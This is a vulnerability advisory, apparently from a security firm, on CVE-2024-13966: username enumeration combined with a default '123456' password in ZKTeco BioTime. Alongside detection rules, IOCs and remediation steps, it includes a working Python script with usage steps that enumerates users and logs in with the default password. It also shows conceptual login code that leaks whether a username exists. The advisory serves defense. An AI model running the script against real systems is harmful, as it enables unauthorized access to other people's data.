CVE-2024-13966

Executive Summary

CVE-2024-13966 is a critical vulnerability in ZKTeco BioTime, a time and attendance management system. The flaw allows an unauthenticated attacker to enumerate valid usernames and subsequently log in as any user whose password remains at the default value of '123456'. This effectively grants unauthorized access to the application with the privileges of the compromised user, potentially leading to data exfiltration, manipulation of attendance records, and further lateral movement within the network. The vulnerability is trivial to exploit and requires no authentication, making it a high-priority risk for any organization using this software.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a standalone application vulnerability. The risk is primarily to the end-user organization deploying ZKTeco BioTime.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed to start enumeration.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component is the only one affected.
• Confidentiality (C): High (H) - Full read access to user data and attendance records.
• Integrity (I): High (H) - Ability to modify attendance data, user settings, and potentially system configurations.
• Availability (A): None (N) - The vulnerability does not directly impact availability.

Threat Level: High. The combination of remote exploitability, low complexity, and high impact on confidentiality and integrity makes this a severe threat.

Deep Dive & Mechanics

The vulnerability exists in the authentication and user management modules of ZKTeco BioTime. The application exposes an endpoint or functionality that allows an unauthenticated user to enumerate valid usernames. This is likely achieved through a difference in server responses (e.g., "User not found" vs. "Invalid password") or a dedicated user listing API.

Once a valid username is identified, the attacker can attempt to log in using the default password '123456'. The application does not enforce password change on first login or require strong password policies, allowing many users to remain with the default credential. The attack flow is:

1. Username Enumeration: The attacker sends requests to the application (e.g., via a login form or API) and observes responses to identify valid usernames.
2. Credential Stuffing: The attacker attempts to log in with each enumerated username and the password '123456'.
3. Unauthorized Access: If successful, the attacker gains access with the privileges of that user. If the user is an administrator, full control of the system is achieved.

Vulnerable vs. Patched Code

No official patch has been released by ZKTeco. The only mitigation is a manual configuration change.

Vulnerable Code (Conceptual): The application likely has a login endpoint that does not differentiate between a non-existent user and an incorrect password, or it has a separate user enumeration endpoint. The password validation does not check if the password is the default value.

# Vulnerable login logic (conceptual)
def login(username, password):
    user = get_user(username)
    if user is None:
        return "User not found"  # Leaks username existence
    if user.password == password:
        return "Login successful"
    else:
        return "Invalid password"

Patched Code (Conceptual): A patched version would:

1. Return a generic error message for both invalid username and password.
2. Force password change on first login or when using a default password.
3. Implement account lockout after multiple failed attempts.

# Patched login logic (conceptual)
def login(username, password):
    user = get_user(username)
    if user is None or user.password != password:
        return "Invalid credentials"  # No information leakage
    if user.password == "123456":
        return "Password change required"
    return "Login successful"

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target ZKTeco BioTime instance accessible over the network.
• Python 3.x with requests library.

Exploit Script:

#!/usr/bin/env python3
import requests
import sys

def enumerate_users(target_url, wordlist):
    """Enumerate valid usernames."""
    valid_users = []
    for username in wordlist:
        # Example: using a login endpoint that leaks user existence
        data = {"username": username, "password": "invalid"}
        response = requests.post(f"{target_url}/login", data=data)
        if "Invalid password" in response.text:  # Adjust based on actual response
            valid_users.append(username)
            print(f"[+] Valid user found: {username}")
    return valid_users

def exploit_default_password(target_url, username):
    """Attempt login with default password."""
    data = {"username": username, "password": "123456"}
    response = requests.post(f"{target_url}/login", data=data, allow_redirects=False)
    if "Login successful" in response.text or response.status_code == 302:
        print(f"[!] Logged in as {username} with default password!")
        return response.cookies
    return None

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <target_url> <wordlist_file>")
        sys.exit(1)
    target = sys.argv[1]
    wordlist_file = sys.argv[2]
    with open(wordlist_file, "r") as f:
        usernames = [line.strip() for line in f]
    valid = enumerate_users(target, usernames)
    for user in valid:
        cookies = exploit_default_password(target, user)
        if cookies:
            # Further exploitation can be done here
            pass

Usage:

1. Save the script as exploit.py.
2. Create a wordlist file (e.g., users.txt) with potential usernames.
3. Run: python3 exploit.py http://target-biotime.com users.txt

Blue Team (Defensive)

Detection:

• Monitor for multiple failed login attempts from a single IP address.
• Alert on successful logins using the default password '123456'.
• Monitor for unusual access patterns to user management endpoints.

Honeypot:

• Create a fake user account with a weak password to detect scanning activity.

Lab Setup:

• Deploy a vulnerable ZKTeco BioTime instance in an isolated network.
• Use the exploit script to simulate an attack.
• Monitor logs and network traffic to understand the attack pattern.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /login or similar endpoints with a high volume of different usernames.
  • Successful login requests with password 123456.
• Logs:
  • Application logs showing multiple "User not found" or "Invalid password" responses from the same IP.
  • Successful login events for users who have not changed their default password.
• System:
  • Unauthorized changes to attendance records.
  • Creation of new user accounts or modification of existing ones.
  • Unusual outbound connections from the BioTime server.

Detection Engineering

YARA Rule

rule Detect_ZKTeco_BioTime_Default_Password_Login {
    meta:
        description = "Detects login attempts with default password '123456' in ZKTeco BioTime logs"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-13966"
    strings:
        $login_attempt = /POST \/login HTTP\/1.1\r\n.*password=123456/
        $success_response = /HTTP\/1.1 302 Found\r\n.*Location: \/dashboard/
    condition:
        $login_attempt and $success_response
}

Sigma Rule

title: ZKTeco BioTime Default Password Login
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects successful login attempts using the default password '123456' on ZKTeco BioTime
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13966
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/login'
        cs-uri-query|contains: 'password=123456'
        sc-status: 302
    condition: selection
falsepositives:
    - Legitimate password change to '123456' (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-13966 - ZKTeco BioTime Default Password Login Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/login"; http_uri;
    content:"password=123456"; http_client_body;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Action: Change all user passwords from the default '123456' to strong, unique passwords. This is done in the "Attendance Settings" tab under "Self-Password".
2. Configuration Hardening:
   • Disable username enumeration by ensuring the application returns a generic error message for both invalid usernames and passwords.
   • Enforce password complexity and expiration policies.
   • Implement account lockout after a certain number of failed login attempts.
3. Network Segmentation: Place the BioTime server in a segmented network with strict access controls. Do not expose it directly to the internet.
4. Monitoring: Implement logging and monitoring for the IOCs listed above. Use the provided detection rules.
5. Vendor Contact: Contact ZKTeco for an official patch. If none is available, consider replacing the software with a more secure alternative.
6. User Training: Educate users on the importance of changing default passwords and recognizing phishing attempts.

Valters IT
Securing Your Digital Frontier